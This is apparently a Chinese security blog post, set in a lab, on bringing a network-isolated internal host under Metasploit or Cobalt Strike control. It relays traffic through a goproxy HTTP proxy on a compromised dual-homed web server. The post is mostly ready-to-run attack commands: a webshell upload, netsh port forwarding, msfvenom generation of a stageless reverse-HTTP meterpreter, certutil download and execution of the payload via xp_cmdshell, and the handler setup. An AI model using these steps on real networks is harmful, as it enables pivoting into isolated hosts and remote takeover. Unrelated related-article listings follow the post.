利用goproxy http上线不出网主机

简介: 利用goproxy http上线不出网主机

我们接着上篇文章“利用MSF上线断网主机的思路分享”继续来分享一篇如何使用goproxy http代理方式上线不出网主机的利用姿势,结合上篇文章阅读更佳!!!


项目地址:https://github.com/snail007/goproxy


0x01 测试环境

    攻击机(Kali):192.168.56.101
    受害机1(Web):192.168.56.102、192.168.186.3 - 双网卡
    受害机2(Data):192.168.186.4 - 断网机


    0x02 goproxy http代理上线MSF/CS

    我们先将goproxy项目的proxy.exe工具通过中国菜刀上传至目标磁盘可读写目录中,执行以下命令在这台出网主机上开启一个8080端口的HTTP代理供后期与不出网主机进行通讯。


    C:\ProgramData\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

    0.0.0.0/127.0.0.1区别:

      0.0.0.0:本机上的所有IPV4地址;
      127.0.0.1:环回地址,仅本地接口IP地址;


      这一步可直接省略跳过

      然后再利用系统自带的netsh命令将这台主机56出网段的HTTP代理8080端口转发至186不出网段的8888端口上,用于后期在MSF监听时设置HTTP代理。

        添加端口转发
        netsh interface portproxy add v4tov4 listenaddress=192.168.186.3 listenport=8888 connectaddress=192.168.56.102 connectport=8080
        删除端口转发
        netsh interface portproxy delete v4tov4 listenaddress=192.168.186.3 listenport=8888
        显示所有端口转发
        netsh interface portproxy show all

        用msfvenom命令生成个meterpreter_reverse_http载荷文件,需要加上以下几个HTTP代理参数,填入186不出网段内网IP的HTTP代理:http://192.168.186.3:8080

        • HttpProxyType:代理类型(HTTP);
        • HttpProxyHost:代理地址(192.168.186.3);
        • HttpProxyPort:代理端口(8080);
        msfvenom -p windows/x64/meterpreter_reverse_http LHOST=192.168.56.101 LPORT=443 HttpProxyType=HTTP HttpProxyHost=192.168.186.3 HttpProxyPort=8080 -f exe > /tmp/stageless.exe

        利用中国菜刀的上传/下载功能将该文件放至192.168.186.3的Web服务器中供192.168.186.4断网数据库服务器下载,执行以下命令将stageless.exe下载至断网机磁盘中。

          EXEC master..xp_cmdshell 'certutil -urlcache -split -f http://192.168.186.3/stageless.exe C:\ProgramData\stageless.exe'

          handler监听模块这里必须也要用meterpreter_reverse_http,配置好相关选项后执行监听,然后在中国菜刀中利用xp_cmdshell组件执行stageless.exe后即可成功上线。

            msf5 > use exploit/multi/handler
            msf5 exploit(multi/handler) > set payload windows/x64/meterpreter_reverse_http
            msf5 exploit(multi/handler) > set lhost 192.168.56.101
            msf5 exploit(multi/handler) > set lport 443
            msf5 exploit(multi/handler) > set httpproxytype HTTP
            msf5 exploit(multi/handler) > set httpproxyhost 192.168.186.3
            msf5 exploit(multi/handler) > set httpproxyport 8080
            msf5 exploit(multi/handler) > exploit
            EXEC master..xp_cmdshell 'C:\ProgramData\stageless.exe'


            流量走向如下:

              192.168.186.4->192.168.186.3(192.168.56.102):8080->C2
              192.168.186.4->192.168.186.3:8888->192.168.56.102:8080->C2


              httpproxytype、httpproxyhost、httpproxyport这几个高级参数选项在options命令中是看不到的,需要用advanced命令才可看到,如下图。

              如需上线至CobaltStrike则可以创建一个新的监听器,有效载荷选择为Beacon HTTP,在HTTP Proxy处填写代理地址:http://192.168.186.3:8080


              将在Windows Executable(S)生成的可执行马儿文件上传/下载至192.168.186.4断网数据库服务器中执行即可成功上线。


              注意事项:

              利用这种方式上线不出网主机时得注意下,生成MSF文件和设置监听时必须使用stageless Payload,而CS则必须要使用Windows Executable(S),否则其他马儿即使执行成功也不会上线。

                stager:分阶段,第一阶段申请内存,第二阶段向C2发起请求并接受shellcode执行;
                windows/x64/meterpreter/reverse_http
                stageless:不分阶段,生成时就包含了所有文件,可以避免shellcode传输不畅造成目标无法上线;
                windows/x64/meterpreter_reverse_http
                相关文章
                |
                5月前
                |
                资源调度 分布式计算 Hadoop
                实时计算 Flink版产品使用问题之yarn session模式中启动的任务链接是http IP,想把IP映射为主机hadoop,该怎么操作
                实时计算Flink版作为一种强大的流处理和批处理统一的计算框架,广泛应用于各种需要实时数据处理和分析的场景。实时计算Flink版通常结合SQL接口、DataStream API、以及与上下游数据源和存储系统的丰富连接器,提供了一套全面的解决方案,以应对各种实时计算需求。其低延迟、高吞吐、容错性强的特点,使其成为众多企业和组织实时数据处理首选的技术平台。以下是实时计算Flink版的一些典型使用合集。
                |
                网络协议 安全 Java
                ABPTTS通过Http隧道上线
                实战中经常会遇到目标主机不出网的情况,如果目标机器开放了web服务,可以通过构造正向http隧道进行上线,如果机器处于内网环境,可通过一台可出网的跳板机将其带出去,这只是个人的小想法...
                130 0
                |
                Web App开发 网络协议 虚拟化
                VMware中的桥接模式、NAT(网络地址转换模式)、Host-only(主机模式):转自:http://blog.chinaunix.net/uid-11798538-id-3061551.html
                其中VMnet1是虚拟机Host-only模式的网络接口,VMnet8是NAT模式的网络接口,这些后面会详细介绍。在VMware Workstation中,默认有3个虚拟交换机,分别是VMnet0(使用桥接网络)、VMnet1(仅主机网络)和VMnet8(NAT网络),还可以根据需要添加VMnet2~VMnet7和VMnet9等7个虚拟机交换机,而在VMware Workstation 5以
                1607 0
                |
                存储 Web App开发 监控
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                我们以前使用过的对hbase和hdfs进行健康检查,及剩余hdfs容量告警,简单易用 1.针对hadoop2的脚本: #/bin/bashbin=`dirname $0`bin=`cd $bin;pwd`STATE_OK=...
                1053 0
                |
                Web App开发 新零售 前端开发
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                1.尽可能地了解需求,系统层面适用开闭原则 2.模块化,低耦合,能快速响应变化,也可以避免一个子系统的问题波及整个大系统 3.
                750 0
                |
                Web App开发 前端开发
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                异步通信 对于BS(Browser-Server 浏览器)架构,很多情景下server的处理时间较长。 如果浏览器发送请求后,保持跟server的连接,等待server响应,那么一方面会对用户的体验有负面影响; 另一方面,很有可能会由于超时,提示用户服务请求失败。
                769 0
                |
                Web App开发 大数据
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                                                                                               1.
                1694 0
                |
                Web App开发 前端开发 Java
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                服务端需在vm arguments一栏下加上    -agentlib:jdwp=transport=dt_socket,server=y,address=8000 并以run模式启动 如果以debug模式启动服务端...
                722 0
                |
                Web App开发 前端开发 Linux
                <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> <html><head><meta http-equiv="Cont
                [root@hadoop058 ~]# mii-tool eth0: negotiated 100baseTx-FD, link ok 100M linux 下查看网卡工作速率 Ethtool是用于查询及设置网卡参数的命令。
                647 0

                热门文章

                最新文章